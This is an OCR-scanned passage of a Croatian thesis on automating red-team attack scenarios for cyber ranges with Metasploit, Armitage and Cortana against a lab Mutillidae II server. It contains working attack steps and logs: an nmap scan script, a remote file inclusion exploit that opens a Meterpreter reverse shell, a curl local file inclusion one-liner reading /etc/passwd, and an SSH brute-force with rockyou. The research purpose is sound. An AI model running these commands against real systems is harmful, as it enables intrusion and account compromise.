12 closef ($Sout) ;

Ispis 4.2: Primjer skripte za kopiranje datoteke u programskom jeziku Sleep
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Ispis 4.2 prikazuje primjer skripte napisane u programskom jeziku Sleep. Cortana
komunicira s Metasploit infrastrukturom pomocu funkcija za slanje naredbi radnom
okviru i pomocu okidanja dogadanja (engl. event) i registracijom sluSaca na te doga-
daje (engl. event listener). Sve naredbe 1 vrste sluSaca mogu se i8Citati na [2].

Ako se zZeli izvoditi kolaborativni rad ili koristiti automatizirane skripte, potrebno
je pokrenuti posluzitelj kojem mogu pristupiti svi clanovi tima. Slika 4.6 je primjer po-
kretanja Armitagea bez kolaborativne infrastrukture. Cortana skripte se mogu pokre-
nuti unutar Armitagea u ovom nacinu rada, ali tada je teZe upravljati istima, buduci da
se svim skriptama upravlja iz jednog prozora preko jednog sucelja naredbenog retka.
U rjeSavanju tog problema moze pomoci Teamserver. Armitage Team posluzitelj je
posluZzitelj koji omogucuje kolaborativni rad unutar Metasploit platforme. Teamserver

brine o Metasploit RPC posluZzitelju 1 ureduje sinkronizaciju izmedu sudionika.

1 darian@Rkali-dell-vostro—-3558:~$% sudo teamserver
2 [sudo] password for darian:

3 [x] You must provide: <external IP address> <team password>

4 <external IP address> must be reachable by Armitage

5 clients on port 55553

6 <team password> is a shared password your team uses to
7 authenticate to the Armitage team server

8 darian@kali-dell-vostro-3558:~$ sudo teamserver 192.168.56.13
msf

9 [sudo] password for darian:

10 [*] Generating X509 certificate and keystore (for SSL)

11 [

12 [«] MSGRPC starting on 127.0.0.1:55554 (NO SSL) :Msg...

13 [*] MSGRPC backgrounding at 2020-06-15 11:34:32 +0200...

14 [x] MSGRPC background PID 2758
[*]

*

] Starting RPC daemon
*

*

15 [«*] sleeping for 20s (to let msfrpcd initialize)

16

17 [«] Use the following connection details to connect your
clients:

18 Host: 192.168.56.13

19 Port: 55553

20 User: msf

21 Pass: msf

22

23 [«] Fingerprint (check for this string when you connect) :
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24 c4755038£d06d94b8435e3feda72c78a770a5436
25 [+] feel free to connect now, Armitage is ready for

collaboration

Ispis 4.3: Proces pokretanja Teamservera

The team server's fingerprint is:

c4755038fd06d94b8435e3feda72c78a770a5436

Does this match the fingerprint shown
when the team server started?

o | [ yes |

Slika 4.8: Provjera autenti¢nosti Teamserver instance

Ispis 4.3 prikazuje postupak pokretanja Teamservera. Koristi se teamserver bash skripta,
koja je ukljucena u standardnu instalaciju Kali-Linux distribucije. Kao argumente na-
redbenog retka potrebno je ukljuciti i IP adresu na koju ¢e se Clanovi tima spajati, te
dijelenu zaporku kojom se spajaju. Vrata na kojima RPC posluZitelj slusa te korisni¢ko
ime se najceSce ostavljaju na pretpostavljene vrijednosti: vrata 55553 1 korisnicko ime
msf-u. Nakon uspjeSnog pokretanja, na standardni izlaz se ispisuje otisak posluzitelja,

koji se koristi za utvrdivanje autenti¢nosti posluzitelja, Sto je prikazano slikom 4.8.

4.2.3. Programski jezik Cortana

U ovom potpoglavlju bit ¢e pojaSnjeni samo neki koncepti skriptnog jezika Cortana,
kako bi se lakSe pratile i razumijele skripte koriStene u razvoju scenarija za napad na
Mutillidae 1I okolinu, opisanu u 4.1.3. Potpuna dokumentacija programskog jezika
cortana dostupna je na [2]. Takoder, radi lakSeg usvajanja sintakse jezika, korisno
je prouditi i programski jezik Sleep, na kojem se temelji Cortana, a dokumetacija za
Sleep je dostupna na [26].

Cortana skripte komuniciraju s Metasploitom na nekoliko nacina:

— slusaci dogadaja (engl. event listeners)
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filtri (engl. filter)

funkcije

vlastite definirane naredbe (engl. command)

naredbe za direktnu interakciju s Metasploitom

kuke (engl. Hooks) - u ovom radu se ne koriste

Razlicite radnje okidaju dogadaje. Dodavanje racunala u bazu podataka okida do-
gadaj host_add, dodavanje usluge nekom raCunalu okida service_add dogadaj itd. Slu-
Saci na dogadaje registiraju se sintaksom on <dogada j>, iza Cega slijedi blok pro-
gramskog koda koji obraduje uhvadeni dogadaj. Filter je mehanizam koji omogucuje
presretanje izvodenja razliCitih radnji unutar Metasploita. Npr. moguce je presresti iz-
vodenje modula tehnike iskoriStavanja (exploit filter), ili filterom urediti podatke o ra-
cunalu koje e se prikazati na grafickom sucelju, poput slike i opisa racunala. Filtri se
definiraju sintaksom filter <naziv-filtra> ispod kojih slijedi blok program-
skog koda. Funkcije, ili subprocedure, kako se nazivaju u Cortana jeziku, su funkcije
kao 1 u svakom drugom programskom jeziku. Funkcije se definiraju sintaksom sub
<naziv-funkcije>. Skripta moZe komunicirati s Metasplotiom pomocu direktnih

naredbi, npr.:
&console?: vrada referencu na primjerak konzole za rad s Metasploitom

cmd(<referenca-na-konzolu>,<msfconsole-naredba>): dodaje naredbu u red ceka-

nja za izvrSavanje na predanoj konzoli

cmd_async(<msfconsole-naredba>): stvara svjezi primjerak konzole, te izvrSava na-

redbu u toj konzoli

launch(<vrsta-modula>,<naziv-modula>,<postavke-modula>): pokrece specifirani mo-

dul s predanim postavkama

m_cmd(<identifikator-meterpreter-sjednice>,<naredba>,<callback-funkcija>): izvrSava
naredbu u Meterpreter sjednici s predanim identifikatorom, te izvrSava callback

funkciju nakon izvodenja naredbe, ako je specificirana

Cortana skripta moZe takoder definirati vlastite "naredbe", koje omogucuju interak-
ciju sa skriptom. Naredba se definira sintaksom command <naziv-naredbe>.
Cortana skripte se mogu pokrenuti na dva naina: unutar Armitage instance, ili kao

zaseban Clan crvenog tima. Unutar Armitagea se skripta pokrec¢e odabirom opcija u
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alatnoj traci Armitage->Scripts.... U polju konzola otvorit ¢e se tablica trenutno otvo-
renih skripti, gdje je potrebno odabrati opciju "UC¢itaj" (engl. Load), te odabrati stazu
do Zeljene Cortana skripte, ¢ime se skripta ucitava u Armitage i automatski pokrece

pod okriljem Armitage okruZenja.

1 host=192.168.56.13
2 port=55553
3user=msf

4 pass=msf

5nick=slave-pentester

Ispis 4.4: Primjer konfiguracijske datoteke za Cortana skripte

Ako se Cortana skripte pokrecu izvan Armitagea, pokrecu se naredbom iz naredbenog
retka: java —jar <staza-do-cortana.jar <konfiguracijska-datoteka>
<cortana-skripta>. Primjer konfiguracijske datoteke dan je u ispisu 4.4. Ovdje
su navedeni svi podaci koji su koriste i kod pokretanja Armitagea, uz dodatak nadimka,

u ispisu nick u petom retku.

4.3. Razvoj scenarija za napad na Mutillidae II poslu-
Zitelj

U potpoglavlju 4.1 predstavljeno je razvojno okruzenje na kojemu su testirani postojeci
simulatori napada otvorenog koda iz poglavlja 3.4. U potpoglavlju 4.2 predstavljen je
skup alata pomocu kojih je razvijan scenarij za napad. Razvoj scenarija bit ¢e podi-
jeljen u nekoliko dijelova, koji Ce reflektirati faze raCunalnog napada. Bit ¢e opisani
zahtjevi koje pojedina faza nosi, razvijeno rjeSenje za pojedinu fazu ili prepreke koje
su onemogudile zadovoljavajuée rjeSenje za pojedinu fazu. Potrebno je uzeti u obzir
da se razvija scenarij za namjerno ranjivu web aplikaciju, $to znaci da se odabrane
ranjivosti moraju mo¢i pronaci te iskoristiti uspjeSno. Metoda kojom ¢e se verifici-
rati djelotvornost i ucinkovitost dijelova scenarija bit ¢e usporedba rezultata scenarija
s rezultatima klasi¢nog pristupa penetracijskom testiranju, koje bi koristilo raznovrsne
alate za svaku fazu. Takoder je bitno naglasiti da rezultati koriStenja alata prije faze
podizanja razine ovlasti i lateralnog Sirenja ¢e odgovarati testiranju mreZe koja se sas-
toji samo od linux posluzitelja s Mutillidae II aplikacijom. Ova manjkavost je prisutna

zbog ograniCenih resursa racunala na kojem je raden razvoj scenarija.
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4.3.1. Enumeracija posluzitelja i web aplikacije

Kao S$to je opisano u poglavlju 3.2.2, prva faza raCunalnog napada jest prikupljanje
informacija. Ovu fazu se preskace zato $to ona ukljucuje prikupljanje informacija o
Zrtvi bez direktne interakcije sa Srtvom, Sto u kontekstu kibernetickog poligona nema
previSe smisla. Stoga ée prva faza scenarija u razvoju biti faza skeniranja. Skeniranje
ukljucuje skeniranje dostupnih IP adresa i vratiju, te pokrenutih usluga na tim racuna-
lima. UobiCajen penetracijski test bi napravio napravio sljedece korake u skeniranju

mreze:
1. skeniranje otvorenih vratiju alatom nmap
2. enumeracija otkrivenih usluga specijaliziranim alatima

3. testiranje na potencijalne ranjivosti

Skeniranje vratiju ranjivog posluzitelja

Skeniranje vratiju ranjivog posluzitelja preko Cortana skripte prikazano je ispisima
4514.6.

1 on ready {

2 say ("Reporting, for_duty");
3 Sconsole = console () ;
4 cmd ($Sconsole, "nmap,,~-Pn_-p-_,-sV_-sC_,—sS_,-T.5.,

192.168.56.12");

5 say ("Nmap,_scan_deployed");
6

7}

8 ...

9 on console_nmap {

10 println("Sent: $2");

1 println("Output: \’'$3\’'");
12}

Ispis 4.5: Dio skripte za skeniranje vratiju pokretanjem udaljenog nmap skena

1l darianQRkali-dell-vostro—3558:/media/sf_shared/cortana—-scriptss$
2 java —jar cortana.jar local.prop msf-rfi.cna
3Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on

4 -Dswing.aatext=true
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5
6
7
8
9
10
11
12

13
14

reporting for duty

got console

06/17 17:13:02 <slave-pentester> got console

Sent: nmap -Pn -p- -sV -sC -sS -T 5 192.168.56.12

Output: ' [x]_exec:_nmap  ~Pn_-p-_,-sV_-sC,—sS_-T7.,5.,192.168.56.12

06/17 17:17:56 * master started a scan: nmap —--min-hostgroup
96 —-sS
-n -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY
-g 53 192.168.56.12

Ispis 4.6: Sadrzaj konzole prilikom pokretanja skeniranja vratiju iz ispisa 4.5

Ispis 4.5 prikazuje dio programskog koda scenarija koji skenira vrata ranjivog pos-
luZzitelja, koji ima IP adresu 192.168.56.12. Redci 1-7 prikazuju sluSaca na dogadaj
ready, koji se okida kada je skripta u potpunosti o¢itana. Cetvrti redak prikazuje
pokretanje nmap skeniranja unutar Metasploit konzole. Programski kod takoder ima
ugradenog sluSaca koji se okida kada se u konzoli pokrene naredba nmap. Programski
kod slusaca prikazan je redcima 9-12. Predvideno je da se u konzoli s koje se pokrece
skripta ispiSe pokrenuta Nmap naredba i ispis koji nastane pokretanjem te naredbe.

Ispis 4.6 prikazuje rezultat pokretanja skripte i skeniranja vratiju. Redci 5-7 prika-
zuju ispise skripte prije pokretanja samog skeniranja vratiju. Ispis koji napravi slusac
dogadaja on console_nmap prikazan je redcima 8-11. NaZalost, ne vidi se nikakav
ispis koji je oekivan za skeniranje vratiju alatom Nmap. Rezultat skeniranja vratiju
sadrZzan je u konzolnom ispisu pokretanja Teamservera, a segment koji sadrzi rezultat
skeniranja vratiju dan je ispisom B.1, koji je identi¢an ispisu koji bi se dobio da je
identi¢na Nmap naredba napisana direktno u ljusci Kali-Linux racunala.

Cini se da Corfana nema ugradeni mehanizam parsiranja Nmap skeniranja, nego je
potrebno pokrenuti Nmap skeniranje u ljusci racunala na kojem se pokrece skripta. To
znaci da je za cjeloviti scenarij napada potrebno instalirati vanjske alate na racunalu na
kojem se pokrecée scenarij, a rezultate tih alata ru¢no parsirati, odnosno napisati vlastiti
parser u Cortana skriptama, Sto produljuje vrijeme razvoja novih scenarija i oteZava
jednostavnu integraciju novih tehnika napada. Ispis A.4 prikazuje isjeCak programskog
koda koji bi izvrSio skeniranje vratiju i ispisao rezultat na konzolu u kojoj se skripta
izvrSava. Funkcija prima jedan parametar, IP adresu ili simboli¢ko ime racunala koje
se skenira. Redci 8-9 prikazuju proces pokretanja vanjske naredbe, dohvacanje ispisa

i zatvaranje reference na ulaz i izlaz pokrenute vanjske naredbe. Redak 12 predstav-
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lja primitivnu obradu dobivenog ispisa naredbe: kompletan ispis. Parsiranje rezultata
moguce je napraviti na dva nacina: ispis rezultata u privremenu datoteku nakon cega
slijedi obrada datoteke, ili ispis rezultata u lako obradivom obliku, tzv. "grepable for-
matu", formatu koji je pogodan za obradu standardnim unix alatom grep, ili u XML
formatu. Ovdje je odabran "grepable format".

Takoder, Pokazalo se da niti Armitage ne registrira pokrenuto skeniranje vratiju,
odnosno, skenirano racunalo se ne prikazuje na grafickom dijelu Armitage sucelja.
Cini se da Cortana ne omoguéuje skriptiranje enumeracije otvorenih vratiju bez ruénog

dodavanja raCunala i usluga na vratima.

Testiranje usluga

Na ranjivom posluZitelju otkrivene su usluge na otvorenim vratima 22 i 80. Vrata 22
su otvorena za SSH posluZitelj koji se u trenutku razvoja koristi za pristup posluzitelju
iz operacijskog sustava domacina za ucinkovitije upravljanje i pracenje ranjivog pos-
luzitelja. Zbog tih razloga nije testiran sam SSH posluZzitelj, nego se koristi za pokusaj
pristupa posluzitelju koriStenjem slabih zaporki. Usluga koja ¢e se napadati je HTTP
posluzitelj, odnosno ranjiva web aplikacija. Klasic¢an pristup ovom skeniranju bio bi
pokrenuti skeniranje alatom nikto. Ispis B.2 prikazuje rezultat skeniranja Mutillidae 11
web aplikacije. Kao Sto se moZe vidjeti, aplikacija je puna ranjivosti, kao Sto je i oCeki-
vano. Takav rezultat bi se trebao ocekivati i od alata koji je ugraden u Metasploit radni
okvir, ako se Zeli pomoc¢u Cortana skripte programirati scenarij potpunog racunalnog
napada. Za tu zadacu odabran je alat wmap, alat koji je standardni dio msfconsole alata
[53].

Ispis B.3 prikazuje postupak skeniranja Mutillidae II aplikacije alatom wmap. Kon-
figuracija alata radena je prema uputama iz [53], zbog Cega se smatra da je sve pos-
tavljeno ispravno. Iz ispisa se moZe vidjeti da nije pronadena niti jedna ranjivost
koja je otkrivena alatom nikto. Cak §tovise, &ini se da je skeniran i pogrefan URI,
http://192.168.56.12/ umjesto http://192.168.56.12/mutillidae, gdje je smjeStena Mu-
tillidae II aplikacija. Zbog nepouzdanih rezultata, namece se zakljuak da Cortana
skripta nece biti u stanju ispravno identificirati prisutne ranjivosti bez koristenja vanj-

skih alata i parsiranja rezultata istih, ili bez nadzora stru¢njaka ofenzivne sigurnosti.

4.3.2. Iskoristavanje ranjivosti Mutillidae II aplikacije

Nakon enumeracije Zrtve, slijedi faza testiranja i iskoriStavanja pronadenih ranjivosti.

Vazno je naglasiti, zbog rezultata prethodne faze, da se ova faza provodi nakon us-
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pjeSno otkrivenih i testiranih ranjivosti, odnosno bez ukljucenja automatizacije faze
enumeracije. Ovaj rad se, zbog tehnickih i vremenskih ogranicenja koncentrirao na
dva kriti¢na i relativno jednostavna napada: napad ukljucenja udaljene datoteke 1 kori-
Stenje ukljucenja lokalne datoteke za pristup posluzitelju kroz slabe zaporke korisnika

koji se mogu prijaviti na sustav kroz SSH.

Napad ukljucenja udaljene datoteke

Napad ukljucenja udaljene datoteke (engl. Remote File Inclusion, RFT) je raCunalni na-
pad kojim se udaljene datoteke ugraduju u web aplikaciju iskoriStavanjem ranjivosti u
procedurama za ukljucivanje datoteka. Ranjivost je najces¢a u PHP aplikacijama, gdje
se naredba require (<PHP-datoteka>) ilirequire_once (<PHP-datoteka>)
iskoriStava za uvoz PHP datoteka zlo¢udnog sadrZaja. Ranjivost je moguca ako PHP
aplikacija dopusta otvaranje vanjskih URL-ova bez provjere sadrzaja, tj. u konfi-
guracijskoj datoteci PHP jezika php.ini su ukljuene opcije allow_url_fopen i
allow_url_include [57].

Prvi korak je provjeriti moguénost Metasploit platforme da uspjeSno izvede napad.
Za tu zadacu koristi se Metasploit modul exploit/unix/webapp/php_include. Ispis B.4
prikazuje proces iskoriStavanja RFI ranjivosti na Mutillidae 11 posluZzitelju. Redci 4-15

prikazuju postupak podeSavanja tehnike iskoriStavanja ranjivosti. PodeSavaju se:

IP adresa Zrtve

URI podstaza na kojoj pocinje web aplikacija

URI podstaza koja sadrzi ranjivi HTTP parametar

vrsta tereta koji ¢e se posluziti za iskoriStavanje

postavke tereta; IP adresa 1 vrata na koja se teret spaja

Redci 16-36 prikazuju pokretanje tehnike iskoriStavanja RFI ranjivosti. Iz ispisa se
moze vidjeti da je pokrenut HTTP posluzitelj koji ¢e posluziti zlo¢udni teret. Redak
23 prikazuje uspjesno iskoriStavanje ranjivosti, tj. uspjesno je ostvarena veza s Meter-
preter inverznom ljuskom.

S obzirom da je uspjesno iskoriStena RFI ranjivost koriStenjem Metasploit radnog
okvira, sljedeci korak je skriptiranje te tehnike. Ispis A.3 prikazuje izvori kod Cortana
skripte za iskoriStavanje RFI ranjivosti na Mutillidae 11 posluZzitelju. Za pocetak isko-
riStavanja ranjivosti napisane su: funkcija php_rfi, u ispisu redci 89-96 koja prima

parametre potrebne za pokretanje modula exploit/unix/webapp/php_include, koji su
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objasnjeni prilikom koriStenja istog modula u sklopu msfconsole alata; naredba php-rfi-exploit

koja pokrece funkciju php_rfi sa svim potrebnim parametrima.

1 darian@kali-dell-vostro—-3558:~/shared/cortana-scripts$ java -
jar cortana.jar local.promsf-rfi.cna

2 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -
Dswing.aatext=true

3 reporting for duty

4 got console

506/20 13:03:16 <slave-pentester> got console

6 Host added: 192.168.56.12

7Will deploy php RFI...

806/20 13:03:24 <slave-pentester> Host 192.168.56.12 added.
Type ’'php’ if you want to exploit it

9%(192.168.56.12 => % (sessions => %(), address => '
192.168.56.12", show => 1, services => %(), os_match => '
null_null null’, updated_at => 1592651003459L, id => 46,
state => "alive’))

10

11 php-rfi 192.168.56.12

12 Trying RFI exploit on host 192.168.56.12

13 Path: /mutillidae/

14 PHPURI: /index.php?page=XXpathXX

15 Exploit deployed, please wait a bit

16 06/20 13:04:19 <slave-pentester> Exploit deployed, please wait
a bit

17 A session was created: 1

18 Here’ s_,some_,session,_data:_ % (tunnel_local =>_'
192.168.56.13:4444", workspace_=>_'"false’, _session_host =>_
7192.168.56.127, via_exploit_=>_"exploit/unix/webapp/
php_include’, type_=>_'meterpreter’, target_host =>_
192.168.56.12’, uuid_=>_"4xywjcmr’, platform =>_'php’,
exploit_uuid _=>_'sz9%pggne’, routes_=>_"', _tunnel_peer =>_/'
192.168.56.12:55190’, host,_=>_,"192.168.56.12", _,arch_=>_'php
’,_session_port,_=>_80, _ via_payload_=>_'payload/php/
meterpreter/reverse_tcp’, _desc_=>_/Meterpreter’, ,info_=>_""'
, Lusername_=>_'root’)

1906/20,13:04:42_ [~] _Meterpreter _session_ 1 _opened
(192.168.56.13:4444 > ,192.168.56.12:55190) ,at_,2020-06-20_,
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13:04:41_+0200

Ispis 4.7: Ispis pokretanja scenarija za iskoriStavanje RFI ranjivosti

Ispis 4.7 prikazuje proces pokretanja scenarija za iskoriStavanje RFI ranjivosti. Redci
6-9 prikazuju reakciju na dogadaj dodavanja novog raCunala u bazu zrtava. Redak 9
prikazuje podatke o raCunalima koja su dodana u bazu Zrtava. Redci 11-19 prikazuju
ispise prilikom pokretanja modula za iskoriStavanje ranjivosti. Redci 17-19 se ispi-
suju u slucaju uspjesno izvedenog napada i uspostave Meterpreter sjednice sa Zrtvom.
MozZe se primjetiti da skripta ne ispisuje medukorake za vrijeme izvrSavanja modula,
kao $to je slucaj kod koriStenja alata msfconsole. Ako ovo bude prisutno i u iskoriSta-

vanju druge ranjivosti, to moZe predstavljati problem.

UKljucenje lokalne datoteke + prijava na SSH grubom silom

Napad ukljucenja lokalne datoteke (engl. Local File Inclusion, LFT) je napad koji prisi-
ljava HTTP posluzitelj da u odgovor na HTTP zahtjev ugradi datoteku koja je lokalno
pohranjena na napadnutom posluZitelju. Ranjivost je najcesée prisutna [57]u PHP web
aplikacijama u naredbama include (<datoteka>) ili include_once (<datoteka>),
koje primljenu stazu do datoteke nedovoljno ili uopée ne provjeravaju i procis¢avaju.
To omogucuje napadacu Citanje svih datoteka na posluZitelju na koje korisnicki racun
web aplikacije ima pravo pristupa i Citanja. Mutillidae II aplikacija ima LFI ranjivost

u URI parametru page, a iskoriStavanje iste slijedi ispod.

1 darian@kali-dell-vostro-3558:~$ curl -s http://192.168.56.12/
mutillidae/index.php?page=../../../../../../etc/passwd |
grep -E -i ""[a-z_][a-zA-Z20-9_-]x[$]?:.x" | cut -d":" -fl

2 root

3 daemon

4Dbin

5 sys

6 sync

7 games

8 man

91p

10 mail
11 news
12 uucp
13 proxy
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nutillidae/inde

M ostalo B privilege-escalati.. B8 nfl-analytics B8 auto MW cloud-forensics-p... B diplomskiinks nixCraft-Linuxa.. @ Welcome GitHub - osirislab...

®% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.7.14  Security Level: 0 (Hosed)

Hints: Enabled (1 - Try easier) Not Logged In

OWASP 2017 4

: o :3:sys:/dev:/usrfshin/nologin
syn 5534:sync:/hin:/binfsync games:x:5:60:games:/usrigames:fusr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:Ip:fvar/spoolllpd:/usr/shin/nologin mail:x:8:8:mail:/var/mail:fusr/shin/nologin news:x:9:9:news:/var/spool/news:/usrishin/nologin
10:10:uucp:varfspooliuucp:iusr/sbin/nologin proxy:x:13:13:proxy:/bin:fust/sbin/nologin www-cata:x:33:33:www-data:fvarwww:/usr/sbin/nologin
34:34:backup:/var/backups:/usrisbin/nologin list:x:38:38:Mailing List Manager:/varflist:/usr/sbin/nologin

o irc:x:39:3%:ircd:/var/runfircd:/usr/shin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time
Synchranization,,,:/run/systemd:fusr/shin/nologin systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/shin/nologin systemd-
resol 102:104:systemd Resolver,,,:/run/systemd:/usi/shin/nologin messagebus:x:103:106::/nonexistent:/usr/shin/nologin
syslog:x:104:110::/home/syslog:/usr/shin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:111::/run/uuidd:fusrisbininologin
tepdump:x:107:112::/nonexistent:/usr/sbin/nologin landscape:x:108:114::/varflib/landscape:/usr/shin/nologin
pollinate:x:109:1::/varicache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core

Dumper:/:/usr/sbin/nologin darian:x:1000:1000:darian:/heme/darian:/bin/bash Ixd:x:998:100::/var/snap/lxdicommon/lxd:/bin/false
mysqgl:x:111:117:MySQL Server,,,:/nonexistent:/bin/false alice:x:1001:1001::/home/alice:/bin/bash

Donate
‘Want to Help?

Video Tutorials

- .

Slika 4.9: IskoriStavanje LFI ranjivosti za ispis korisnika prisutnih na ranjivom posluZzitelju

14 www—data

15 backup

16 1ist

17 ixc

18 gnats

19 nobody

20 systemd-timesync
21 systemd-network
22 systemd-resolve
23 messagebus

24 syslog

25 _apt

26 uuidd

27 tcpdump

28 landscape

29 pollinate

30 sshd

31 systemd-coredump
32 darian

33 1xd

34 mysqgl

35alice
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Ispis 4.8: Enumeracija korisni¢kih imena na posluZitelju koriStenje LFI ranjivosti

Slika 4.9 i ispis 4.8 prikazuju primjerak iskoriStavanja LFI ranjivosti za enume-
raciju postojeih korisnika. Slika 4.9 prikazuje tehniku iskoriStavanja LFI ranjivost
preko Internet preglednika Brave [9]. IskoriStavanje LFI ranjivosti koriStenjem pre-
glednika prikladno je za demonostraciju postojanja ranjivosti, ali ne nudi mogucnost
daljnje automatske analize. S druge strane, ispis 4.8 koristi alate naredbenog retka za
postizanje istog rezultata: curl, grep 1 cut uz dodatak automatskog izvlacenja korisnic-
kih imena iz sadrZzaja HTTP odgovora na predani zahtjev. Nakon izvucenih korisnickih
imena, moguce je pokusati ostvariti SSH korisnic¢ku sjednicu uz pogadanje zaporke ko-
riStenjem unaprijed pripremljene liste zaporki rockyou.txt.gz [24], koja je ukljucena u
instalaciju Kali Linux ili dostupna na [24]. Za pokusSaj prijave u sustav kroz SSH us-
lugu koristi se modul auxiliary/scanner/ssh/ssh_login. Za sve nacine KoriStenja tog
modula korisno je pregledati njegovu dokumentaciju.

Ispis A.5 prikazuje programski kod Cortana skripte koja kombinira koristenje LFI
ranjivosti i prijavu korisnika na SSH posluZitelj grubom silom. Prviredak debug (debug ()
| 256) ; odreduje postavke biljeZenja, gdje je ova skripta podeSena da biljezi svu di-
rektnu komunikaciju s Metasploit radnim okvirom. Redci 9-13 prikazuju sluSaca koji
se okida nakon uspjesne prijave korisnika na posluzitelj. Ispisuju se informacije o
sjednici koje se mogu iskoristiti za izvodenje naredbi na posluZzitelju. Redci 15-17
prikazuju definiranu naredbu koja u sjednicu s predanim identifikatorom izvrSava pre-
danu naredbu, dok sluSa¢ na shell dogadaje ispisuje rezultat izvodenja naredbi u
ljuskama. Kljucni dio ove skripte je definirana naredba 1f1i, koja izvodi tehniku is-
koriStavanja LFI ranjivosti za izvlaenje korisni¢kih imena na posluZzitelju, pohranjuje
rezultat u privremenu datoteku /tmp/users.txt, te naposlijetku pokre¢e modul za prijavu
na SSH posluZitelj koriStenjem izvucenih korisnickih imena i liste zaporki ¢ija je staza

pohranjena u varijabli $pass_wordlist.

1l darian@Rkali-dell-vostro—-3558:~/shared/cortana-scripts$ java -
jar cortana.jar local.prop ssh-brute.cna

2 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -
Dswing.aatext=true

3hello

4 type 1fi to begin...

S51fi

6 execute 1fi

71fi executed, time to brute force
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8 [12:45:41] metasploit module.execute (’auxiliary’, ’scanner/ssh
/ssh_login’, % (RHOSTS => 7192.168.56.12', pass_file => '/
usr/share/wordlists/rockyou.txt’, user_file => ’/tmp/users.
txt’)) at internal.sl:463

9 exploit launched, if cracked, a session will open

10 session 1 was created with data: % (tunnel local => '
192.168.56.13:42935", workspace => ’'default’, session_host
=> 7192.168.56.12’, via_exploit => ’auxiliary/scanner/ssh/
ssh_login’, type => ’'shell’, target_host => 7192.168.56.12"'
, uuid => 'ovbyjbjk’, exploit_uuid => ’lnnacmp4’, routes =>

"7, tunnel_peer => 7192.168.56.12:22’, host => '
192.168.56.12", arch => '’, session_port => 22, via_payload
=> '’, desc => ’'Command_shell’, info => ’'SSH_alice
:12345678,,(192.168.56.12:22)'", username => ’'root’)

11 To type command use ’comm_<session-id>_<command>_’

12 comm 1 id

13 [12:46:24] shell 1 - ’'id’ at ssh-brute.cna:23

14 Session id

15uid=1001 (alice) gid=1001(alice) groups=1001 (alice)

Ispis 4.3.2 prikazuje rezultat pokretanja skripte koja kombinira LFT ranjivost s na-
padom grubom silom na SSH posluZitelj. Redak 5 zapocinje proces iskoriStavanja LFI
ranjivosti. Redak 8 prikazuje dnevnicki zapis, odnosno postupak biljeZenja interakcije
skripte s Metasploit platformom. VaZno je za naglasiti da je postupak prijave SSH
posluZitelja grubom silom obavljen samo za prva dva korisni¢ka imena izvucena iz
LFI napada. To je napravljeno zbog uStede vremena i resursa, a pokazalo se da Metas-
ploit platforma ne omoguduje praéenje izvodenja pojedinog modula, Sto je uobicajena
funkcionalnost prilikom koriStenja istth modula unutar msfconsole alata, cime postaje
zahtjevno odrediti djelotvornost pojedinog scenarija, te skriptirati alternativne tehnike
napada na posluZzitelj. Redak 10 prikazuje ispis koji pokazuje da je napad uspjesno
izvrSen za korisnicko ime alice s zaporkom ’12345678’, te je SSH sjednici pridijeljen
identifikator ’1°, koji se sada moZe koristiti za daljnju interakciju s ranjivim posluZzite-
ljem. Redci 12-15 prikazuju primjer interakcije s ranjivim posluZiteljem koriStenjem

naredbe comm <session—-id> <shell-command>.
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4.3.3. Podizanje razine ovlasti

Faza podizanja razine ovlasti bila bi sljedeci korak u razvoju scenarija za kiberneticki
poligon. U ovoj fazi bilo bi potrebno pronaci nacin podiéi razine privilegija korisnika
preko kojih je ostvaren inicijalni neovlasSteni pristup. Za tehniku iskoriStavanja RFI
ranjivosti to bi bio korisnik www-data, a za kombinaciju LFI ranjivosti 1 SSH prijave
grubom silom alice. Oba korisnika su ogranicenih privilegija.

Cortana skripta koja iskoriStava RFI ranjivost, prikazana ispisom A.3, ima imple-
mentiranu vlastitu naredbu met —command <session-id> <meterpreter—-command>,
kojom operator crvenog tima moZe unositi Meterpreter naredbe u sjednicu posluzitelja
zrtve. Skripta koja kombinira LFI i SSH prijavu grubom silom, prikazana ispisom A.S5,
ima implementiranu naredbu comm <session-id> <shell-command> za in-
terakciju sa SSH sjednicom. Zbog vremenskog ogranicenja i ogranic¢enja tehhnickih
resursa u posluzitelje unutar razvojnog okruZenja nisu ugradene druge ranjive usluge,
lokalne ili dostupne preko mreZe. Zbog toga je komunikacija s probijenim posluZite-

ljima, odnosno upisivanje vlastitih naredbi trenutni plafon razvijenih skripti.
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5. Zakljucak

U ovom radu istraZzene su metode automatizacije napada za kiberneticke poligone, pos-
tojeca rjeSenja otvorenog koda i obradene su mogucénosti razvoja scenarija napada ko-
riStenjem Metasploit radnog okvira. Prvo je predstavljen i opisan kiberneticki poligon,
njegove komponente, te su kratko opisani neki poznati kiberneticki poligoni. Zatim
je detaljno opisana komponenta simulacije racunalnih napada u kibernetickim poligo-
nima, gdje su opisana svojstva crvenog tima koji se simulira, analizirani su kriteriji po
kojima se ocjenjuje crveni tim i simulatori istog. Za razvoj vlastitih scenarija odabran

je Metasploit radni okvir, unutar kojeg su se koristile Cetiri komponente:
1. skriptni jezik Cortana za razvoj scenarija
2. Teamserver za komunikaciju skripte s Metasploit platformom
3. Armitage za nadzor rada Cortana skripti
4. alat msfconsole za verifikaciju 1 validaciju rada Cortana skripti

Cilj je bio razviti scenarij koji uz minimalnu, poZeljno bez ikakve pomo¢i vanjskih
alata, automatizirano izvodi raCunalni napad od pocetka do kraja, odnosno, od pocetne
enumeracije do priprema za lateralno Sirenje. Pokazalo se da bez koriStenja pouzda-
nih vanjskih alata izvan Metasploit platforme, tj. izvodenjem tih alata izvan Cortana
skripte direktno u ljusci racunala koje pokreée scenarij, nije moguce napraviti ucinko-
